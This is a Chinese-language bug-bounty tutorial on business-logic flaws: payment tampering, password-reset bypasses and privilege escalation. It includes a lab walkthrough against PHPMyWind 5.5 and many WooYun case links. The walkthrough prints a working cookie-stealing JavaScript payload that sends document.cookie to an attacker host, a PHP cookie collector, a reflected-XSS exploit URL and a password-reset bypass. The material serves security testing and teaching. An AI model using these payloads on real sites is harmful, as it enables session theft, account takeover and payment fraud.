SRC邏輯漏洞挖掘詳解以及思路和技巧
0X00 邏輯漏洞概述
由於程序邏輯不嚴謹或邏輯太過復雜,導致一些邏輯分支不能正常處理或處理錯誤,統稱為業務邏輯漏洞。常見的邏輯漏洞有交易支付、密碼修改、密碼找回、越權修改、越權查詢、突破限制等,下圖是簡單的邏輯漏洞總結,在挖掘的過程中更多的時候需要腦洞大開:
挖掘邏輯漏洞的過程中,需要一些技巧和非常規思路,有點像邊緣測試的思想。一般的思路是:
確定業務流程--->尋找流程中可以被操控的環節--->分析可被操控環節中可能產生的邏輯問題--->嘗試修改參數觸發邏輯問題
0X01 邏輯漏洞分類
0X01:飲料販賣機 替換訂單ID,創建訂單時在支付界面,在此創建訂單替換訂單ID(高價替換低價)無限新用戶優惠訂單,重復創建優惠訂單替換優惠卷ID(未達到條件使用)個別情況訂單數量為1.99時,客戶端只支付1元,實際上服務器認為支付了2元。取貨時並發(真實案例) 0X02:直播 快速進出房間炸房無限發送點贊協議修改禮物數量,0,小數,負數,特定值(一般情況下為1073741824)修改禮物ID,遍歷嘗試是否有隱藏ID。並發送禮物,抽獎無限創建首次優惠訂單,有些首次優惠訂單是一個特殊的pid,這種的直接替換pid進行支付。有些是相同的ID,這種的提前創建訂單,記錄多個訂單號在依次修改訂單支付。刷屏:發言刷屏,分享,點贊等有提示的地方刷屏房間內可以申請的地方進行申請取消操作,看看是否能炸房。越權踢人,增加管理員,關閉房間等操作。發送的表情是否可以修改長寬(真實案例) 0X03 :購物app 購買數量:為0,小數,負數,正負值(A為-1,B為2,總值為1)代金卷:並發領取,遍歷領取,同一個代金卷重復使用,未滿足條件使用代金卷越權:登陸,操作別人訂單,修改資料 0X04:外賣 商品數量,0,負數,小數,特定值,正負數(A為-1,B為2,總值為1)送餐員評價修改,星級,打賞金額(小數,負數)商品評價,星級,評論字數,上傳圖片是否可以自定義格式,訂單超出送餐地址強行貨到付款,取消訂單,退款越權操作別人訂單,登陸優惠購買會員(重復使用優惠購買) 0X05:交易平台 錢包並發提現,負數提現使用錢包支付時多個訂單並發支付(是否支付金額能大於余額)轉賬負數,並發轉賬上架商品突破限制,例如數量,字數。替換訂單,創建訂單號如果訂單狀態可修改,先進到支付界面,然后將訂單修改成更大的金額,然后支付提前進入的支付界面數量修改 0X06:社交 強行舉報(讀取本地消息上傳那種)強行加好友(一般嘗試重發通過好友這條協議)自由修改號碼(靚號類)群管理無限禁言越權禁言,替人,拉黑會員修改金額,數量。無限優惠購買非會員使用會員功能 0X07:漫畫 打賞金額為負數,小數,特定值(溢出)越權刪除評論,登陸修改充值金額付費漫畫免費看評論圖片數量過多會導致客戶端加載卡死 0X08:音樂 唱歌類軟件修改上傳分數等參數付費下載嘗試替換下載ID修改付費下載金額F12查看下是否有歌曲地址 0X09:網約車 無限叫車,重復發送協議造成市場混亂修改評價分數修改限時優惠叫車關鍵參數替換優惠卷越權操作其他訂單
業務邏輯漏洞需要對業務熟悉,有很強的邏輯思維能力,所以下面主要描述一下ZZCMS8.1中注冊、登錄和密碼找回出現的漏洞邏輯,再盡量多和全的收集整理相關場景。
0X02 邏輯漏洞利用實例
PHPMyWind 5.5
由於網上沒有找到PHPMyWind5.5的源碼,只能看看其他師傅分析的文章,這里就再大概復述一遍。
首先對實驗環境做一個簡單說明:
服務器 | 192.168.114.159 | 部署有“PHPMyWind 5.5” |
---|---|---|
攻擊機(safedog) | 192.168.114.1 | 部署有能“收集PHPMyWind用戶的Cookie”的PHP腳本、JS腳本 |
受害者(victim) | 192.168.114.161 | 可通過瀏覽器訪問“服務器”上的“PHPMyWind”網站 |
1.過程1代表攻擊者safedog通過郵件等方式發送惡意鏈接(嵌有可盜取並發送Cookie的JS腳本)給受害者victim;
2.過程2代表在受害者victim受誘導點擊惡意鏈接后,會經由瀏覽器將攻擊者safedog嵌入的JS腳本當做數據發送給服務器上的PHPMyWind網站的反射型XSS漏洞點;
3.過程3與過程4代表PHPMyWind網站在受到反射型XSS攻擊后,會執行JS腳本,將受害者victim的Cookie返回給受害者victim,並發送給攻擊者safedog。
4.過程5代表攻擊者safedog在獲得受害者victim的Cookie后,利用受害者victim的Cookie與PHPMyWind網站的邏輯漏洞點進行密碼重置攻擊。
反射型XSS
攻擊者搭建可接收受害者Cookie的PHP網站;
該PHP網站由“ReflectiveXSS.js”“ReflectiveXSS.php”和“cookie.txt”這3個文件構成。
其中“ReflectiveXSS.js”用於針對服務器端PHPMyWind網站的反射型XSS漏洞竊取受害者victim的Cookie,並將該Cookie值傳輸給ReflectiveXSS.php;“ReflectiveXSS.php”用於接收名為“victimcookie”的GET請求,並將“victimcookie”的參數值保存到“cookie.txt”。
ReflectiveXSS.js的代碼如下:
//通過指定的名稱'img'創建img元素 var img = document.createElement('img'); img.width = 0; img.height = 0; //將img元素的src屬性指向腳本文件ReflectiveXSS.php //將cookie信息的字符串作為URI組件進行編碼,然后用victimcookie參數傳遞 img.src = 'http://192.168.114.1/safedog-attack/ReflectiveXSS.php?victimcookie='+encodeURIComponent(document.cookie);
ReflectiveXSS.php的代碼如下:
<?php @ini_set('display_errors',1); $str = $_GET['victimcookie']; $filePath = "cookie.txt"; if(is_writable($filePath)==false){ echo "can't write"; }else{ $handler = fopen($filePath, 'a'); fwrite($handler, $str); fclose($handler); } ?>
出發XSS漏洞的EXP:
http://192.168.114.159/phpmywind5-5/data/api/oauth/connect.php?method=unknownmethod<script src=http://192.168.114.1/safedog-attack/ReflectiveXSS.js></script>
該漏洞出現的文件路徑為:/data/api/oauth/connect.php,其中的代碼段:
if(method_exists($connect, $method)) $connect->method(); else echo "請求的方法[" . $method . "不存在";
if判斷的作用是“判斷函數名是否存在”,代碼的邏輯是“如果函數名不存在,則在PHP頁面輸出函數名”,這一做法會造成反射型XSS漏洞。
任意密碼重置
該漏洞出現的文件路徑為:/member.php
//檢測舊密碼是否正確 if($password != '') { $oldpassword = md5(md5($oldpassword)); $r = $dosql->GetOne("SELECT `password` FROM `#@__member` WHERE `username`='$c_uname'"); if($r['password'] != $oldpassword) { ShowMsg(msg: '抱歉,舊密碼錯誤!', gourl: '-1'); exit(); } } $sql = "UPDATE `#@__member` SET"; if($password != '') { $password = md5(md5($password)); $sql .= "password='$password',"; } @$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id='$id' AND `username`='$c_uname'"; if($dosql->ExecNoneQuery($sql)) { ShowMsg(msg: '資料更新成功', gourl: '?c=edit'); exit(); }
在這里之所以要使用XSS獲取cookie,是因為當SQL語句滿足條件id='$id' AND username ='$c_uname';
時,才可進行update操作。變量c_uname
值(明文)來源於AuthCode($_COOKIE['username'])
,即先取得Cookie中username(密文)的值,然后通過AuthCode函數配合配置文件中的密鑰來獲取明文。第一個if判斷的作用是“判斷用戶提交的新密碼是否為空”,在用戶提交的新密碼不為空的情況下,才會進行‘舊密碼的比對’,如果提交的舊密碼和數據庫的查詢結果不一致,則不允許繼續進行更換密碼的操作。第二個if判斷的作用仍為“判斷用戶提交的新密碼是否為空”,在用戶提交的新密碼不為空的情況下,對新密碼進行哈希運算,隨后進行SQL語句的拼接。這兩個if語句存在了邏輯漏洞。因為,如果我們提交的新密碼(password變量和repassword變量)為空,則可以繞過對舊密碼(oldpassword變量)的驗證。
PHPMyWind采用Cookie保存混淆化的用戶登錄信息。因為配置文件中的密鑰是在CMS搭建時隨機生成的,算法也不可逆,因此要在知道c_name變量的前提下,從正向偽造username等變量,以通過權限驗證具有較大難度。為獲取Cookie中的username等值,可考慮借助反射型XSS漏洞。
0X03 其他實例
現在wooyun已經沒了,只能在一些鏡像網站看漏洞合集,以邏輯漏洞
為關鍵詞搜索到了186個相關漏洞,基本上把每個漏洞都過了一遍,也沒辦法復現,記錄一些比較有代表性的案例,權當搜集思路吧。
1.支付業務相關邏輯漏洞
常見手法
1.修改金額;
2.修改商品數量;
3.修改優惠金額;
4.修改數量、單價,優惠價格參數為負數、小數,無限大;
5.商品價格更改;
6.支付key泄露等。
實際安全中會有一些比較特別的,反正各種能改的參數都去嘗試。個數單價-優惠券個數單價=總額,每個值都可能存在問題,就看服務自身處理是否有問題了。
順豐寶業務邏輯漏洞:數量和金額沒有做簽名
https://wooyun.x10sec.org/static/bugs/wooyun-2011-02272.html
移動手機支付業務邏輯漏洞:爆破四位驗證碼
https://wooyun.x10sec.org/static/bugs/wooyun-2011-02513.html
新東方邏輯支付漏洞:修改運費金額為負數,使得課程金額+運費大於0即可
https://wooyun.x10sec.org/static/bugs/wooyun-2013-019761.html
中國零食網支付邏輯漏洞:同上
https://wooyun.x10sec.org/static/bugs/wooyun-2014-074483.html
阿里雲計算按量付費邏輯漏洞一枚(低價享受超級主機):經過base64編碼的數據可以被篡改,並且后端會接受篡改的數據
https://wooyun.x10sec.org/static/bugs/wooyun-2013-023789.html
樂視商城支付邏輯漏洞(價格可更改):價格參數明文顯示在url,可以直接更改
https://wooyun.x10sec.org/static/bugs/wooyun-2013-036787.html
再次挖掘樂視商城支付邏輯漏洞:同上
https://wooyun.x10sec.org/static/bugs/wooyun-2014-053181.html
讀覽天下支付邏輯漏洞可刷充值金額:替換支付訂單號
https://wooyun.x10sec.org/static/bugs/wooyun-2014-051673.html
益盟愛炒股商城支付邏輯漏洞:修改Cookie中的參數值
https://wooyun.x10sec.org/static/bugs/wooyun-2015-093365.html
餓了么邏輯漏洞之免費吃喝不是夢:手機號+;+手機號
繞過服務器對手機號碼的次數限制
https://wooyun.x10sec.org/static/bugs/wooyun-2015-0125060.html
七夕單身專場之性多多免費刷成人用品(支付邏輯漏洞):改負數刷代幣
https://wooyun.x10sec.org/static/bugs/wooyun-2015-0135459.html
大疆某處支付邏輯漏洞可1元買無人機:https改為http訪問,修改支付的參數
https://wooyun.x10sec.org/static/bugs/wooyun-2016-0194751.html
2.密碼找回相關邏輯漏洞
常見手法
1.找回密碼的驗證碼為四位數字可爆破真實驗證碼;
2.采用本地驗證,可以先嘗試修改自己的帳號密碼,保存正確的返回包,然后修改他人密碼的時候替換返回包;
3.最終修改密碼的數據包,以另外的ID作為身份判斷(例如userid),而該ID在別處可以獲取到;
4.接受驗證碼的手機號修改為自己的號碼,然后輸入自己的號碼接收到的驗證碼去進行密碼重置;
5.獲取驗證碼的時候,會生成一個身份標識(例如cookie值),那么我們就替換他人賬號的身份證重置他人的密碼;
具體可以去i春秋看carry_your發過的一篇專門針對
密碼重置的視頻:https://www.ichunqiu.com/course/59045
用戶憑證暴力破解
四位或者六位的純數字
WooYun: 當當網任意用戶密碼修改漏洞
https://wooyun.x10sec.org/static/bugs/wooyun-2012-011833.html
WooYun: 微信任意用戶密碼修改漏洞
https://wooyun.x10sec.org/static/bugs/wooyun-2012-011720.html
返回憑證
url返回驗證碼及token
WooYun: 走秀網秀團任意密碼修改缺陷
https://wooyun.x10sec.org/static/bugs/wooyun-2012-05630.html
WooYun: 天天網任意賬戶密碼重置(二)
https://wooyun.x10sec.org/static/bugs/wooyun-2014-058210.html
密碼找回憑證在頁面中
通過密保問題找回密碼
WooYun: sohu郵箱任意用戶密碼重置
https://wooyun.x10sec.org/static/bugs/wooyun-2012-04728.html
返回短信驗證碼
WooYun: 新浪某站任意用戶密碼修改(驗證碼與取回邏輯設計不當)
https://wooyun.x10sec.org/static/bugs/wooyun-2014-085124.html
郵箱弱token
時間戳的md5
WooYun: 奇虎360任意用戶密碼修改漏洞
https://wooyun.x10sec.org/static/bugs/wooyun-2012-08333.html
用戶名 & 服務器時間
WooYun: 中興某網站任意用戶密碼重置漏洞(經典設計缺陷案例)
https://wooyun.x10sec.org/static/bugs/wooyun-2015-090226.html
用戶憑證有效性
短信驗證碼
WooYun: OPPO手機重置任意賬戶密碼(3)
https://wooyun.x10sec.org/static/bugs/wooyun-2014-053349.html
WooYun: 第二次重置OPPO手機官網任意賬戶密碼(秒改)
https://wooyun.x10sec.org/static/bugs/wooyun-2014-053079.html
WooYun: OPPO修改任意帳號密碼
https://wooyun.x10sec.org/static/bugs/wooyun-2013-020032.html
郵箱token
WooYun: 身份通任意密碼修改-泄漏大量公民信息
https://wooyun.x10sec.org/static/bugs/wooyun-2012-012572.html
重置密碼token
WooYun: 魅族的賬號系統內存在漏洞可導致任意賬戶的密碼重置
https://wooyun.x10sec.org/static/bugs/wooyun-2014-078208.html
重新綁定
WooYun: 網易郵箱可直接修改其他用戶密碼
https://wooyun.x10sec.org/static/bugs/wooyun-2012-08307.html
WooYun: 如家酒店某嚴重邏輯漏洞可登陸任意賬號可導致幾千萬敏感信息泄露(涉及任意用戶賬號個人基本信息、入住記錄等)
https://wooyun.x10sec.org/static/bugs/wooyun-2015-0115537.html
Wooyun: 華住酒店官網某嚴重邏輯漏洞可登陸任意賬號(涉及任意用戶賬號個人基本信息、入住記錄等)
https://wooyun.x10sec.org/static/bugs/wooyun-2015-0115276.html
WooYun: 12308可修改任意用戶密碼
https://wooyun.x10sec.org/static/bugs/wooyun-2014-081467.html
郵箱綁定
WooYun: 某彩票設計缺陷可修改任意用戶密碼
https://wooyun.x10sec.org/static/bugs/wooyun-2015-092319.html
WooYun: 中國工控網任意用戶密碼重置漏洞
https://wooyun.x10sec.org/static/bugs/wooyun-2014-086726.html
服務器驗證
WooYun: 攜程旅行網任意老板密碼修改(慶在wooyun第100洞)
https://wooyun.x10sec.org/static/bugs/wooyun-2013-018263.html
服務器驗證可控內容
WooYun: AA拼車網之任意密碼找回2
https://wooyun.x10sec.org/static/bugs/wooyun-2014-080278.html
WooYun: 四川我要去哪517旅行網重置任意賬號密碼漏洞
https://wooyun.x10sec.org/static/bugs/wooyun-2014-082582.html
服務器驗證驗證邏輯為空
WooYun: 某政企使用郵件系統疑似存在通用設計問題
https://wooyun.x10sec.org/static/bugs/wooyun-2014-088927.html
用戶身份驗證
賬號與手機號碼的綁定
WooYun: 上海電信通行證任意密碼重置
https://wooyun.x10sec.org/static/bugs/wooyun-2014-075941.html
賬號與郵箱賬號的綁定
WooYun: 魅族的賬號系統內存在漏洞可導致任意賬戶的密碼重置
https://wooyun.x10sec.org/static/bugs/wooyun-2014-078208.html
WooYun: 和訊網修改任意用戶密碼漏洞
https://wooyun.x10sec.org/static/bugs/wooyun-2015-091216.html
找回步驟
跳過驗證步驟、找回方式,直接到設置新密碼頁面
WooYun: OPPO手機同步密碼隨意修改,短信通訊錄隨意查看
https://wooyun.x10sec.org/static/bugs/wooyun-2013-042404.html
WooYun: 中國電信某IDC機房信息安全管理系統設計缺陷致使系統淪陷
https://wooyun.x10sec.org/static/bugs/wooyun-2015-098765.html
本地驗證
在本地驗證服務器的返回信息,確定是否執行重置密碼,但是其返回信息是可控的內容,或者可以得到的內容
WooYun: 看我如何重置樂峰網供應商管理系統任意用戶密碼(管理員已被重置)
https://wooyun.x10sec.org/static/bugs/wooyun-2014-083035.html
WooYun: oppo重置任意用戶密碼漏洞(4)
https://wooyun.x10sec.org/static/bugs/wooyun-2014-069987.html
發送短信等驗證信息的動作在本地進行,可以通過修改返回包進行控制
WooYun: OPPO修改任意帳號密碼-3
https://wooyun.x10sec.org/static/bugs/wooyun-2013-020532.html
WooYun: OPPO修改任意帳號密碼-2
https://wooyun.x10sec.org/static/bugs/wooyun-2013-020425.html
注入
在找回密碼處存在注入漏洞
WooYun: 用友人力資源管理軟件(e-HR)另一處SQL注入漏洞(通殺所有版本)
https://wooyun.x10sec.org/static/bugs/wooyun-2014-068060.html
Token生成
token生成可控
WooYun: 天天網任意賬號密碼重置(非暴力溫柔修改)
https://wooyun.x10sec.org/static/bugs/wooyun-2015-094242.html
WooYun: 天天網再一次重置任意賬號密碼(依舊非暴力)
https://wooyun.x10sec.org/static/bugs/wooyun-2015-095729.html
注冊覆蓋
注冊重復的用戶名
WooYun: 中鐵快運奇葩方式重置任意用戶密碼(admin用戶演示)
https://wooyun.x10sec.org/static/bugs/wooyun-2014-088708.html
session覆蓋
WooYun: 聚美優品任意修改用戶密碼(非爆破)
https://wooyun.x10sec.org/static/bugs/wooyun-2014-085843.html
3.越權相關邏輯漏洞
越權漏洞是Web應用程序中一種常見的安全漏洞。它的威脅在於一個賬戶即可控制全站用戶數據。當然這些數據僅限於存在漏洞功能對應的數據。越權漏洞的成因主要是因為開發人員在對數據進行增、刪、改、查詢時對客戶端請求的數據過分相信而遺漏了權限的判定。所以測試越權就是和開發人員拼細心的過程。
常見手法
1.操作時分析請求中的數據包,看看每個參數的作用,修改參數查看變化。
2.擁有更多權限的賬號,把能訪問的URL都提取出來,給低權限用戶訪問或者直接訪問,查看能否訪問。
3.猜測隱藏的API,如:guest/getorder,修改成admin/getorder。
4.通過搜索引擎,或者提取JS中的URL,查找隱藏功能。如burpsuite中有一個BHP JS scraper的插件。
5.猜測隱藏的參數,添加進去查看變化,如修改信息的時候加個ID。
6.抓取所有的數據包,搜索用戶名等關鍵詞,比如我的用戶名是test,在burpsuite中的HTTP history搜索test,看看有沒有哪個數據包包含這個參數,將其修改為其他的用戶名,查看變化。
我的越權之道
https://wooyun.x10sec.org/static/drops/tips-727.html
垂直越權的手法:
1.編輯個人信息的時候,修改權限組的id,一般管理員的值為0或者1;
2.后台修改密碼的地方,如果是根據userid來修改密碼的,可以修改id的值來修改管理員的密碼;
3.在個人資料處插入XSS腳本,一般能打到管理員cookie的概率很大;
4.查看個人資料的時候,如果是根據id來顯示,一般都有越權,可以遍歷id獲取管理員信息;
5.測試后台功能,找一下注入、上傳、命令執行等漏洞,直接拿下數據庫權限或者shell,再找管理員權限就輕而易舉了。
其他資料
業務邏輯漏洞總結:https://github.com/PyxYuYu/MyBlog/issues/102
Reference
[紅日安全]Web安全Day6 - 業務邏輯漏洞實戰攻防
https://xz.aliyun.com/t/6401#toc-5
密碼找回邏輯漏洞總結
http://bobao.360.cn/learning/detail/287.html
參考來源:Ca01H's Blog